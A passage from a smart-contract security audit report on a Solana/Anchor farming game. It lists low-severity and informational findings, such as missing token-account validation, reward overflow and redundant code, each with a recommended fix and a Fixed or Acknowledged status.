This can look in the following way:

```
if ctx.accounts.potential_user_state.key() == expected_user_state_pda {
    let account_info = ctx.accounts.potential_user_state.to_account_info();

    // If account has data and is owned by our program, it means the operator candidate is a player
    if account_info.data_len() > 0 && account_info.owner == ctx.program_id {
        return Err(GameError::PlayerCannotBecomeOperator.into());
    }
} else {
    return Err(GameError::PlayerCannotBecomeOperator.into());
}
```

This will guarantee that only non-player accounts can be added as operators, as intended.

Status

Fixed

Low 15 Missing Token Account Validation

Location

referral.rs:283

Description

The `referral.rs` :: `user_token_account` provided in the `ClaimRewardWithReferralRewards` context is not validated to ensure it is the user's actual associated token account (ATA) for the reward mint. This means a user could supply any writable token account, including one they do not own or control, or even an account belonging to another user. As a result, claimed rewards could be sent to an unintended or malicious account, leading to potential loss of funds or exploitation. This lack of validation undermines the security of the reward distribution process and could be abused to redirect rewards.

Recommendation

Add a validation step to ensure that the `user_token_account` is the correct associated token account for the claiming user and the reward mint. This can be done the following way:

```
#[account(
    mut,
    constraint = user_token_account.owner == user.key(),
    constraint = user_token_account.mint == reward_mint.key()
)]
pub user_token_account: InterfaceAccount<'info, TokenAccountInterface
    >,
```

This will ensure rewards are always sent to the intended account.

Status

Fixed

Low 16 Possible Unintended Over Burning And Over Deflation

Location

seeds.rs:1616

Description

In `seeds.rs` :: `burn_escrow_tokens` when burning tokens from the escrow token account during the seed pack opening process, the program simply burns the entire actual balance of the escrow token account (`actual_balance`). However, it does not validate whether this balance is less than, equal to, or greater than the originally escrowed amount recorded in the program state.

- One possibility is that due to factors such as transfer fees or rounding errors, the actual balance may be less than the escrowed amount.
- Another possibility is that a user can mistakenly send tokens to the escrow account after purchasing a seed pack but before opening it and thus have a higher escrow balance than the initial escrowed amount.

Burning the full balance when it is higher than the intended escrowed amount without refunding the difference means that more tokens are removed from circulation than intended by the economic model. Over time, this can make the token more deflationary than designed, disrupting the intended supply and reward dynamics.

Recommendation

Before burning, validate that the actual balance of the escrow token account is less than or equal to the escrowed amount. If the balance is more, burn only the escrowed amount and refund the difference (actual balance minus escrowed amount) to the user's token account. This ensures that only the intended amount is burned, maintaining the integrity of the economic model and preventing unintended over-deflation.

Status

Acknowledged

Low 17 Missing Validation That Newly Initialized Player Is Not Admin Or Operator

Location

user.rs:87

Description

The `user.rs` :: `init_user` function is responsible for pre-registering a referral code for a new user. However, it does not call the `ensure_user_gameplay_eligibility` function from `user_validation.rs` to check whether the user being initialized is the admin or an operator. According to the game's design, admins and operators are not allowed to participate as players to maintain fairness and prevent insider advantages. Without this validation, it is possible for an admin or operator to be pre-registered as a player, violating the intended privilege separation and potentially undermining the integrity of the game.

Recommendation

Add a call to `ensure_user_gameplay_eligibility` in the `init_user` function, passing the target user's public key and the current configuration. This will enforce the rule that admins and operators cannot be initialized as players, ensuring that only eligible users can be pre-registered and maintaining the intended separation between administrative roles and regular players.

Status

Fixed

Low 18 Overflow Can Occur If Rewards Are Not Claimed For A Long Period

Location

state.rs:31

state.rs:137

Description

All reward aggregates (`pending_farming_rewards`, `total_supply_minted`) use `u64` and are updated with:

```
checked_add( .. ).ok_or(GameError::CalculationOverflow)?;
```

If a user (or the whole game) lets farming rewards accumulate for a sufficiently long time the running total can exceed `u64::MAX` (≈ 1.8 * 10 ^ 19). When that happens every subsequent operation on the account aborts with `CalculationOverflow`, effectively freezing claims.

Recommendation

Store the rewards in `u128` variables.

Status

Fixed

Low 19
`global_stats.current_rewards_per_second` Never Updated After Initialization

Location

state.rs:679

Description

`global_stats.current_rewards_per_second` is initialised to the starting base-rate (200 000 000 units/s) but is never updated when the protocol's reward rate halves every 7 days. After the first halving the stored value is already doubled; it becomes increasingly inaccurate with each subsequent halving.

Recommendation

Update `global_stats.current_rewards_per_second` each time a halving occurs.

Status

Fixed

Low 20 `global_stats.last_update_time` Is Not Consistently Updated

Location

state.rs:681

Description

`global_stats.last_update_time` is documented as “Time when statistics were last updated”, implying it should change whenever either `total_grow_power` or `current_rewards_per_second` is modified. However, it is updated only in `buy_farm_space` and `calculate_referral_distribution`, which means the `last_update_time` does not reflect the correct last update time.

Recommendation

Update `last_update_time` in every instruction that changes `global_stats.total_grow_power` or `current_rewards_per_second`, or remove the field if it is not meant to be authoritative.

Status

Fixed

Informational

Info 01 Cap Threshold Constant

Location

economic_validation.rs:34

Description

In the current implementation, the threshold for warning when the minted supply approaches the total cap (set at 90% of the total supply) is calculated inline using the expression `(TOTAL_WEED_SUPPLY * 9) / 10`. This approach requires performing multiplication and division operations each time the function is called, and the threshold value is not clearly named or documented. This can reduce code readability and maintainability, and may introduce the risk of inconsistencies if the threshold logic is reused elsewhere.

Recommendation

Define the cap threshold as a named constant (e.g., `const SUPPLY_CAP_WARNING_THRESHOLD`). This will make the code more readable, easier to maintain, and avoid repeated calculations at runtime. It also centralizes the threshold value, making future adjustments simpler and less error-prone.

Status

Fixed

Info 02 Custom Validation Errors

Location

system_validation.rs:48

Description

Currently, the `ensure_system_fully_initialized` function uses a single generic error (`GameError::SystemNotInitialized`) for all types of initialization and configuration validation failures. This means that if any of the many checks fail (such as missing admin, invalid treasury, incorrect economic parameters, or misconfigured probability tables), the same error is returned. As a result, it is difficult to determine which specific validation failed, making debugging and troubleshooting more challenging for developers and operators.

Recommendation

Introduce custom error variants for each distinct validation failure (e.g., `AdminNotSet`, `TreasuryNotSet`, `InvalidBaseRate`, `ProbabilityTableMisconfigured`, etc.) in the `GameError` enum. Update the `require!` macros in the validation function to use these specific errors. This will provide more informative error messages, making it easier to identify and resolve configuration issues during system initialization.

Status

Fixed

Info 03 Unrealistic Gameplay Eligibility Enforcement

Location

user_validation.rs:46

Description

The code enforces a rule that prevents the admin and operator accounts from participating in gameplay (`user_validation.rs::ensure_user_gameplay_eligibility`), aiming to maintain fairness and avoid insider advantages. However, this restriction is based solely on checking the public keys of known admin and operator accounts. An admin or operator can easily bypass this check by using a different, unrelated wallet address that is not listed in the configuration. This means the

restriction is not technically enforceable and relies on trust rather than robust technical controls.

Recommendation

Acknowledge in documentation and risk assessments that this restriction can only be enforced for known admin/operator addresses and cannot prevent admins or operators from participating using alternate wallets. If stronger enforcement is required, consider implementing additional off-chain monitoring, KYC, or behavioral analytics to detect and deter such circumvention, but recognize that on-chain enforcement alone is insufficient for this purpose.

Status

Acknowledged

Info 04 Single Point Of Failure For Default Operator

Location

admin.rs:155

constants.rs

Description

In `constants.rs` the protocol currently hardcodes a default operator address (`DEFAULT_OPERATOR_ADDRESS`) for system initialization. This means that the same immutable operator public key is used every time the system is deployed unless it is manually changed in the code. If this hardcoded operator key is ever compromised, an attacker could gain control over the operator role across all deployments that use this default. This creates a single point of failure and increases the risk of privilege escalation or unauthorized access if the private key corresponding to the hardcoded address is leaked or stolen.

Recommendation

Make the operator address configurable rather than relying on a hardcoded value. Allow the deployer to specify the operator address at deployment time and the admin to change it after deployment if needed, and store it in the configuration account. This approach distributes risk, avoids a single point of failure, and allows for secure rotation or replacement of the operator role if needed.

Status

Acknowledged

Info 05 Missing Early Return When User Share Is Zero

Location

economics.rs:47

economics.rs:365

Description

In the `economics.rs` :: `calculate_user_share_reward` function, there is currently an early return if `total_grow_power` is zero, but not if `user_grow_power` is zero. When `user_grow_power` is zero, the function continues to perform several arithmetic operations (multiplication, division) before ultimately returning a reward of zero. This results in unnecessary computation and potential for arithmetic overflow checks, even though the outcome is always zero in this case.

The same applies for the `economics.rs` :: `calculate_grow_power_percentage` function.

Proof of Concept

Add the following test displaying this edge case to the `economics.rs` file:

```
#[test]
fn test_user_zero_share_calculation() {
    // Edge case: zero user grow power
```

```
    let reward = calculate_user_share_reward(0, 100, 10, 3600).unwrap
    ();
    assert_eq!(reward, 0);
}
```

Recommendation

Add an early return at the beginning of the two functions to immediately return 0 if `user_grow_power` is zero. This will avoid unnecessary calculations, improve performance, and make the intent of the functions clearer.

Something like this:

```
pub fn calculate_user_share_reward(
    user_grow_power: u64,     // User's total Grow Power
    total_grow_power: u64,    // System-wide total Grow Power
    base_rate: u64,           // Current base reward rate (system-wide
    base units per second, halving-adjusted)
    elapsed_time: u64         // Reward target period (seconds)
) -> Result<u64> {
    // Zero division prevention: no rewards if total pool is 0
    if total_grow_power == 0 || user_grow_power == 0 {
        return Ok(0);
    }

    ...
}
```

And:

```
pub fn calculate_grow_power_percentage(
    user_grow_power: u64,
    total_grow_power: u64,
) -> f64 {
    if total_grow_power == 0 || user_grow_power == 0 {
        return 0.0;
    }

    (user_grow_power as f64 / total_grow_power as f64) * 100.0
}
```

Status

Fixed

Info 06 Duplicate `msg!` Calls Lead To Redundant Logic

Location

utils.rs:402

Description

The current implementation of the `utils.rs::log_system_account_exclusion` function uses multiple `if`/`else if` branches, each with a separate `msg!` call that only differs in the role label (“Admin address”, “Main operator address”, “Operator address”). This results in duplicate message formatting and repeated logic, making the code harder to maintain and more error-prone if the message format needs to change or new roles are added. Such duplication can also obscure the intent of the function and increase the risk of inconsistencies.

Recommendation

Refactor the function to determine the role as a string variable based on the address type, and then use a single `msg!` call to log the exclusion message. This approach centralizes the message formatting, reduces code duplication, and makes it easier to update or extend the logic in the future.

For example:

```
pub fn log_system_account_exclusion(address: &Pubkey, config: &crate::state::Config, context: &str) {
    let role = if address == &config.admin {
        "Admin address"
    } else if address == &config.operator {
        "Main operator address"
    } else if crate::instructions::operator::is_operator_address(config, *address) {
        "Operator address"
    } else {
        return;
    };
    msg!("[!] {} {} - excluded from gameplay/rewards", role, context);
}
```

Status

Fixed

Info 07 Test Function Alongside Main Production Code

Location

state.rs

Description

The `init_test_9_seed_table` function is currently included in the `state.rs` file alongside main production code. This function is intended solely for testing purposes, as it sets up a probability table with test values for seeds and thresholds. Keeping test-specific initialization logic in production code increases the attack surface, can lead to accidental misuse in live deployments, and clutters the codebase with functions that are not relevant to the core application logic. It also makes it harder to maintain a clear separation between production and test environments.

Recommendation

Move the `init_test_9_seed_table` function into the test module or a dedicated test-only file. This ensures that test utilities are only available during testing and are excluded from production builds, reducing potential risks and improving code maintainability.

Status

Fixed

Info 08 Duplicate Or Unused Functions

Location

state.rs:370

state.rs:379

state.rs:401

state.rs:421

state.rs:781

state.rs:1004

Description

The functions `update_seed_values` and `reveal_seed` are implemented both in the `ProbabilityTable` struct (in `state.rs`) and in the admin instruction module (`admin.rs`). However, only the versions in `admin.rs` are actually used by the program, while the implementations in `state.rs` are not called anywhere in the production code.

The function `unlock_level` is implemented in the `FarmLevelConfig` struct (in `state.rs`) and has a duplicate function (`update_farm_level_config`) in `farm.rs`. The `unlock_level` implementation is not actually used by the program, while the implementation of `update_farm_level_config` is used actively.

The `is_seed_revealed` function is implemented in both the `SeedGrowPowers` and `ProbabilityTable` structs in `state.rs`. However, only the version in `SeedGrowPowers` is actively used throughout the codebase, while the implementation in `ProbabilityTable` is redundant and not referenced in production logic.

The `from_random_with_table` function is implemented in the `SeedType` struct (in `state.rs`) and has a duplicate function (`determine_seed_type_from_table`) in `seeds.rs`. The `from_random_with_table` is not actually used by the program, while the implementation of `determine_seed_type_from_table` is used actively.

The `validate` function (in `state.rs`) is currently not used anywhere in the code.

Keeping duplicate, unused implementations in the codebase can lead to confusion, increase maintenance overhead, and create a risk of inconsistencies if one version is updated but not the other. It also unnecessarily bloats the codebase and may mislead future developers about which functions are authoritative.

Recommendation

Remove the unused `update_seed_values` and `reveal_seed` methods from the `ProbabilityTable` implementation in `state.rs`, leaving only the actively used versions in `admin.rs`.

Remove the unused `unlock_level` and keep the `update_farm_level_config` implementation.

Remove the unused `is_seed_revealed` method from the `ProbabilityTable` struct and retain only the implementation in `SeedGrowPowers`.

Remove the unused `from_random_with_table` and keep the `determine_seed_type_from_table` implementation.

Remove the `validate` function as it is not used anywhere actively.

This will reduce code duplication, clarify the codebase, and help ensure that all updates and bug fixes are made in the correct location.

Status

Fixed

Info 09 Redundant State Management Of Maximum Unlocked Farm Level

Location

state.rs

Description

In `state.rs` there is duplicated state management of the maximum unlocked farm level across two separate data structures:

1. `ProbabilityTable::active_levels` - Tracks maximum unlocked levels for seed probability distributions
2. `FarmLevelConfig::max_unlocked_level` - Tracks maximum unlocked levels for farm progression

This duplication creates synchronization risks:
- Inconsistent State: Level unlocks could be updated in one structure but not the other

- Divergent Game Logic: Farm progression logic (using `FarmLevelConfig`) and seed distribution logic (using `ProbabilityTable`) could operate with different maximum level values
- Update Risks: Admin operations must modify both locations simultaneously to maintain consistency
- Validation Gaps: No mechanism exists to verify both values match during critical operations

The current implementation violates the single source of truth principle, creating subtle bugs where:
- Players might access seeds at levels not available for farm upgrades

- Reward distributions could use different level caps than progression systems
- Game economy could become unbalanced due to inconsistent level constraints

Recommendation

Consolidate state management under `FarmLevelConfig`:

1. Remove `active_levels` from `ProbabilityTable`:

```
#[account]
pub struct ProbabilityTable {
    // ... existing fields ...
    // REMOVE: pub active_levels: u8,
}
```

2. Modify all level checks to use `FarmLevelConfig`:

```
// Before
if table.is_level_active(level) { ... }

// After
if farm_config.is_level_unlocked(level) { ... }
```

3. Remove redundant methods from `ProbabilityTable`:
    - Delete `is_level_active()`

- Delete `activate_levels()`

4. Strengthen validation in `FarmLevelConfig`:

```
impl FarmLevelConfig {
    pub fn unlock_level(&mut self, new_max_level: u8) -> Result<()> {
        require!(new_max_level ⩽ 10, GameError::InvalidLevel);
        require!(new_max_level > self.max_unlocked_level, GameError::LevelAlreadyUnlocked);
        require!(new_max_level ⩽ MAX_SUPPORTED_LEVEL, GameError::UnsupportedLevel);
        self.max_unlocked_level = new_max_level;
        self.updated_at = Clock::get()?.unix_timestamp;
        Ok(())
    }
}
```

5. Add synchronization check during initialization:

```
pub fn initialize(ctx: Context<Initialize>) -> Result<()> {
    // ...
    let farm_config = &mut ctx.accounts.farm_config;
    farm_config.max_unlocked_level = INITIAL_LEVELS;
    farm_config.capacities = [4, 6, 8, 10, 12, ...];

    let prob_table = &mut ctx.accounts.prob_table;
    // NO MORE: prob_table.active_levels = INITIAL_LEVELS;
    // ...
}
```

Benefits:
- Single source of truth for level progression

- Eliminates synchronization bugs
- Reduces account storage requirements
- Simplifies game logic and admin operations
- Maintains backward compatibility with existing accounts

Status

Fixed

Info 10 Redundant Fee Bounding After Validation

Location

seeds.rs:875

Description

The following line is redundant:

```
let estimated_vrf_fee = max_vrf_fee.min(MAX_VRF_FEE_LAMPORTS);
```

This occurs immediately after `ensure_vrf_fee_bounds(max_vrf_fee)?`, which already guarantees the value does not exceed `MAX_VRF_FEE_LAMPORTS`.

```
pub fn ensure_vrf_fee_bounds(vrf_fee_lamports: u64) -> Result<()> {
    require!(
        vrf_fee_lamports ⩾ MIN_VRF_FEE_LAMPORTS,
        GameError::VrfFeeTooLow
    );

    require!(
        vrf_fee_lamports ⩽ MAX_VRF_FEE_LAMPORTS,
        GameError::VrfFeeTooHigh
    );

    Ok(())
}
```

Recommendation

Replace with a direct assignment:

```
let estimated_vrf_fee = max_vrf_fee;
```

Status

Fixed

Info 11 Hardcoded Values In Message

Location

admin.rs:443

Description

The log message in the `add_metadata_to_existing_mint` function currently hardcodes the token name and symbol as `"WEED Token"` and `"WEED"`, respectively. This means that if the values of `TOKEN_NAME` or `TOKEN_SYMBOL` are changed in the configuration or constants, the log message will still display the old, hardcoded values. This can lead to confusion during debugging or auditing, as the log output may not accurately reflect the actual metadata set on the token mint, making it harder to verify that the correct values were used.

Recommendation

Update the log message to use the dynamic values of `TOKEN_NAME` and `TOKEN_SYMBOL` instead of hardcoded strings. This ensures that the logs always reflect the actual values being set, improving transparency and making debugging or auditing more reliable.

Status

Fixed

Info 12 Wrong Assumption In Comments And Docs About `init_standard_table` Seed Count

Location

admin.rs:728

Description

The `init_standard_table` function in the `ProbabilityTable` struct initializes the table with `seed_count` set to 9, meaning 9 seed types are configured and available. However, both the log messages and comments in the initialization code (`admin.rs` :: `initialize_probability_table_internal`) state that the standard table is set up with 6 seeds. This inconsistency between the actual data and the documentation/logs can cause confusion for developers and operators, making it unclear how many seeds are truly available at game launch. It may also lead to incorrect assumptions in other parts of the codebase or during audits, potentially resulting in misconfiguration or unexpected gameplay behavior.

Recommendation

Update the log messages and comments to accurately reflect the number of seeds initialized by `init_standard_table` (i.e., 9 seeds), or adjust the function to match the documented and logged value (i.e., initialize only 6 seeds if that is the intended behavior). Ensuring consistency between the implementation, documentation, and logs will improve maintainability and reduce the risk of misunderstandings or errors.

Status

Fixed

Info 13 Potentially Inadequate Max Cost Cap

Location

admin.rs:899

Description

The `admin.rs` :: `update_seed_pack_cost` function enforces a hardcoded maximum cost (`max_cost`) of 100,000 WEED tokens (with 6 decimals) for seed packs. This static cap may not be appropriate if the market price of WEED fluctuates significantly. If the price of WEED rises, the cap could prevent the admin from setting

a sufficiently high seed pack cost to maintain economic balance. Conversely, if the price drops, the cap may be unnecessarily restrictive or irrelevant. Relying on a fixed value reduces the system's flexibility and could lead to economic imbalances or limit the admin's ability to respond to changing market conditions.

Recommendation

Make the maximum allowed seed pack cost (`max_cost`) configurable, either as a parameter stored in the `Config` account or as an admin-settable value. This will allow the admin to adjust the cap in response to market conditions, ensuring the game remains economically balanced and accessible regardless of WEED's price volatility.

Status

Fixed

Info 14 Missing Event Emission For Critical Operations

Location

admin.rs

farm.rs

grow_powers.rs

invite.rs

operator.rs

seeds.rs

user.rs

Description

The codebase currently lacks event emission for critical operations within instruction handlers. In blockchain applications, emitting events (also known as

logs or program logs) is essential for transparency, off-chain monitoring, and integration with analytics or user interfaces. Without explicit event emission, it becomes difficult for external systems, auditors, or users to track important state changes, such as system initialization, token minting, fee withdrawals, configuration updates, or user actions. This reduces observability and can hinder debugging, auditing, and user trust.

A review of the `/instructions` folder shows that the following files lack event emission for their critical operations:

- `admin.rs`
- `farm.rs`
- `grow_powers.rs`
- `invite.rs`
- `operator.rs`
- `seeds.rs`
- `user.rs`

Recommendation

Implement event emission for all critical operations in the instruction handlers across the above files. Use Anchor's `emit!` macro and define appropriate event structs for actions such as system initialization, token mint creation, fee withdrawals, configuration changes, seed reveals, farm upgrades, and user state changes. This will improve transparency, facilitate off-chain indexing and monitoring, and enhance the overall security and usability of the protocol.

Status

Fixed

Info 15 Constant For Max Operators Not Used

Location

operator.rs:113

Description

The maximum number of operators allowed in the system is currently hardcoded as the value `5` directly within the logic of the `operator.rs` :: `add_operator_address` function. This approach leads to magic numbers in the code, making it harder to maintain and update the limit in the future. If the maximum operator count needs to be changed, developers must search for all instances of the value `5` throughout the codebase, increasing the risk of missing some occurrences or introducing inconsistencies. Additionally, the maximum operator count is already defined as a constant (`MAX_OPERATOR_ADDRESSES`) in `constants.rs`, but the function does not use this constant, leading to potential discrepancies between documentation and implementation.

Recommendation

Replace the hardcoded value `5` in the operator management logic with the `MAX_OPERATOR_ADDRESSES` constant from `constants.rs`. This ensures that the maximum operator count is defined in a single, authoritative location, making future updates easier and reducing the risk of inconsistencies or errors.

Status

Fixed

Info 16 Redundant `is_seed_revealed` Check

Location

grow_powers.rs:180

Description

In the `grow_powers.rs` :: `get_seed_grow_power` function, there is a check to see if a seed is revealed by calling `is_seed_revealed(index as u8)` before returning the grow power value. However, the `is_seed_revealed` function itself simply checks if the grow power at the given index is greater than zero. This means that if the index is within range, the grow power will already be zero for unrevealed seeds,

making the explicit `is_seed_revealed` check redundant. The function could simply return the value at the given index (or zero if out of range), as unrevealed seeds will always have a grow power of zero by design.

Recommendation

Simplify the `get_seed_grow_power` function by removing the redundant `is_seed_revealed` check. Instead, just check that the index is within range and return the grow power value directly, defaulting to zero for out-of-range indices. This will make the code clearer and slightly more efficient.

```
pub fn get_seed_grow_power(
    seed_grow_powers: &SeedGrowPowers,
    seed_type: &SeedType,
) -> u64 {
    let index = *seed_type as usize;
-    if index < crate::constants::TOTAL_SEED_TYPES && seed_grow_powers
    .is_seed_revealed(index as u8) {
+    if index < crate::constants::TOTAL_SEED_TYPES {
        seed_grow_powers.grow_powers[index]
    } else {
        0
    }
}
```

Status

Fixed

Info 17 Reconsider Max Total Seeds And Max Seeds Per Type Constants

Location

constants.rs

Description

The constants (`constants.rs`) `MAX_TOTAL_SEEDS` (300) and `MAX_SEEDS_PER_TYPE` (25) define the maximum number of seeds the game can hold in total and per seed

type, respectively. These limits were likely set based on initial design assumptions about user activity and game scale. However, with over 100,000 registrations before the game's official launch, these values are now unrealistic and too restrictive for the current and projected player base. If left unchanged, users will quickly hit these limits, preventing them from acquiring or planting additional seeds, limiting gameplay, and potentially leading to a poor user experience. This could also stifle in-game economic activity and growth, as users are artificially capped by outdated constraints.

Recommendation

Re-evaluate and significantly increase the values of `MAX_TOTAL_SEEDS` and `MAX_SEEDS_PER_TYPE` to better match the scale of the user base and anticipated gameplay patterns. Consider analyzing current user behavior and growth projections to set new limits that will not be quickly reached by active players. Additionally, make these values configurable (e.g., stored in the configuration account) so they can be adjusted in the future without requiring a redeployment

Status

Acknowledged

Info 18 Unused Fields In `RandomnessAccountData`

Location

seeds.rs

Description

The `RandomnessAccountData` struct includes fields such as `discriminator`, `authority`, `escrow`, and `queue`. However, in both the `parse_for_purchase` and `parse` methods, these fields are always set to their default values (e.g., zeroed arrays or default public keys) and are never actually used in any logic or validation throughout the program. This means they do not contribute to the security, correctness, or functionality of the randomness handling or VRF integration. Keeping unused fields

in a data structure increases code complexity, can confuse future maintainers, and may lead to unnecessary storage usage or serialization overhead.

Recommendation

Remove the unused fields (`discriminator`, `authority`, `escrow`, and `queue`) from the `RandomnessAccountData` struct and update the related parsing methods accordingly. This will simplify the structure, reduce potential confusion, and make the codebase easier to maintain and audit.

If for some reason they are needed - update the `parse_for_purchase` and `parse` methods to correctly parse and return them.

Status

Fixed

Info 19 No Validation If New `probability_thresholds` Are Lower Than The Previous Level `probability_thresholds`

Location

admin.rs:772-825

Description

Based on the existing configuration for levels 1–5, the thresholds decrease as farm levels increase, supporting progressively lower drop chances or rarer seed unlocks. However, in `update_probability_table` when new `probability_thresholds` are added for a new level, it is not validated if they are lower than the previous level `probability_thresholds`.

Recommendation

Add this check inside `update_probability_table`

```
// Enforce progressive rarity: new thresholds must be ⩽ previous
    level's thresholds
if level_index > 0 {
    let prev_thresholds = &probability_table.probability_thresholds[
    level_index - 1];

    for i in 0..seed_count as usize {
        let new_value = probability_thresholds[i];
        let prev_value = prev_thresholds[i];

        require!(
            new_value ⩽ prev_value,
            crate::error::GameError::InvalidConfig
        );
    }
}
```

Status

Acknowledged

Info 20 `purchase_seed_pack` Does Not Use `user_entropy_seed` Argument

Location

seeds.rs:803

Description

The `purchase_seed_pack` function includes `user_entropy_seed` parameter and even checks that `user_entropy_seed > 0`, yet the value is not fed into any randomness-generation logic. It is only copied verbatim into `seed_pack.user_entropy_seed`, providing no additional entropy.

Recommendation

Remove the `user_entropy_seed` parameter.

Status

Fixed

Info 21 Redundant `max_vrf_fee` Validations

Location

seeds.rs:826

seeds.rs:875

Description

Inside `purchase_seed_pack` the VRF-fee parameter is checked three separate times but only needs one validation:

```
require!(max_vrf_fee > 0, GameError::InvalidAmount);
```

```
crate::validation::vrf_validation::ensure_vrf_fee_bounds(max_vrf_fee)
    ?;
```

```
let vrf_fee_lamports = max_vrf_fee;
crate::validation::vrf_validation::ensure_vrf_fee_bounds(
    vrf_fee_lamports)?;
```

The second call already performs all range checks. The first `require` statement and the third validation are unnecessary. Additionally, `vrf_fee_lamports` is never referenced again, so creating it is pointless.

Recommendation

Keep a single call to `ensure_vrf_fee_bounds(max_vrf_fee)`

Status

Fixed

Info 22 `calculate_referral_distribution` Has Parameter That Is Never Used

Location

referral.rs:445

Description

The function `referral.rs :: calculate_referral_distribution` includes `_referral_reward` parameter that is never used.

Recommendation

Remove the `_referral_reward` parameter.

Status

Fixed